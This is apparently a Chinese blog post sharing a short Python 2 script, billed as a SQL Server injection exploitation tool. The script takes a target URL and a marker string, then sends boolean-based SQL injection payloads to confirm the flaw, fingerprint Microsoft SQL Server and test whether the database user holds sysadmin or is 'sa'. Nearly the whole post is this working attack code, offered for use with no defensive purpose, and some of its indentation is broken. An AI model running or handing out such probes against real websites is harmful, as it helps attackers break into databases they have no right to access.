无聊的时候,用Python写的一个小程序,用有注入点的链接,检测当前数据库用户是否为sa,没什么技术含量。

 

  1. # Code by zhaoxiaobu Email: little.bu@hotmail.com   
  2. #-*- coding: UTF-8 -*-    
  3. from sys import exit   
  4. from urllib import urlopen   
  5. from string import join,strip   
  6. from re import search   
  7.  
  8.  
  9. def is_sqlable():  
  10.     sql1="%20and%201=2" 
  11.     sql2="%20and%201=1" 
  12.     urlfile1=urlopen(url+sql1)  
  13.     urlfile2=urlopen(url+sql2)  
  14.     htmlcodes1=urlfile1.read()  
  15.     htmlcodes2=urlfile2.read()  
  16.     if not search(judge,htmlcodes1) and search(judge,htmlcodes2):  
  17.     print "[信息]恭喜!这个URL是有注入漏洞的!\n" 
  18.     print "[信息]现在判断数据库是否是SQL Server,请耐心等候....."   
  19.     is_SQLServer()  
  20.     else:  
  21.     print "[错误]你确定这个URL能用?换个别的试试吧!\n" 
  22.  
  23. def is_SQLServer():  
  24.     sql = "%20and%20exists%20(select%20*%20from%20sysobjects)" 
  25.     urlfile=urlopen(url+sql)  
  26.     htmlcodes=urlfile.read()  
  27.     if not search(judge,htmlcodes):  
  28.     print "[错误]数据库好像不是SQL Server的!\n" 
  29.     else:  
  30.     print "[信息]确认是SQL Server数据库!\n" 
  31.     print "[信息]开始检测当前数据库用户权限,请耐心等待......" 
  32.     is_sysadmin()  
  33.  
  34.  
  35. def is_sysadmin():   
  36.     sql = "%20and%201=(select%20IS_SRVROLEMEMBER('sysadmin'))" 
  37.     urlfile = urlopen(url+sql)   
  38.     htmlcodes = urlfile.read()   
  39.     if not search(judge,htmlcodes):   
  40.         print "[错误]当前数据库用户不具有sysadmin权限!\n" 
  41.     else:   
  42.         print "[信息]当前数据库用户具有sysadmin权限!\n" 
  43.         print "[信息]检测当前用户是不是SA,请耐心等待......" 
  44.         is_sa()   
  45.  
  46. def is_sa():   
  47.     sql = "%20and%20'sa'=(select%20System_user)";  
  48.     urlfile = urlopen(url+sql)   
  49.     htmlcodes = urlfile.read()   
  50.     if not search(judge,htmlcodes):   
  51.         print "[错误]当前数据库用户不是SA!\n" 
  52.     else:   
  53.         print "[信息]当前数据库用户是SA!\n" 
  54.  
  55.       
  56.       
  57.  
  58.  
  59. print "\n########################################################################\n"   
  60. print "                       ^o^SQL Server注入利用工具^o^          "   
  61. print "                      Email: little.bu@hotmail.com\n"   
  62. print "========================================================================";   
  63. url = raw_input('[信息]请输入一个可能有注入漏洞的链接!\nURL:')   
  64. if url == '':   
  65.     print "[错误]提供的URL必须具有 '.asp?xxx=' 这样的格式"   
  66.     exit(1)   
  67.  
  68. judge = raw_input("[信息]请提供一个判断字符串.\n判断字符串:")   
  69. if judge == '':   
  70.     print "[错误]判断字符串不能为空!"   
  71.     exit(1)   
  72.  
  73. is_sqlable()  
  74.  
  75.  
  76.  
  77.  
  78.  
  79.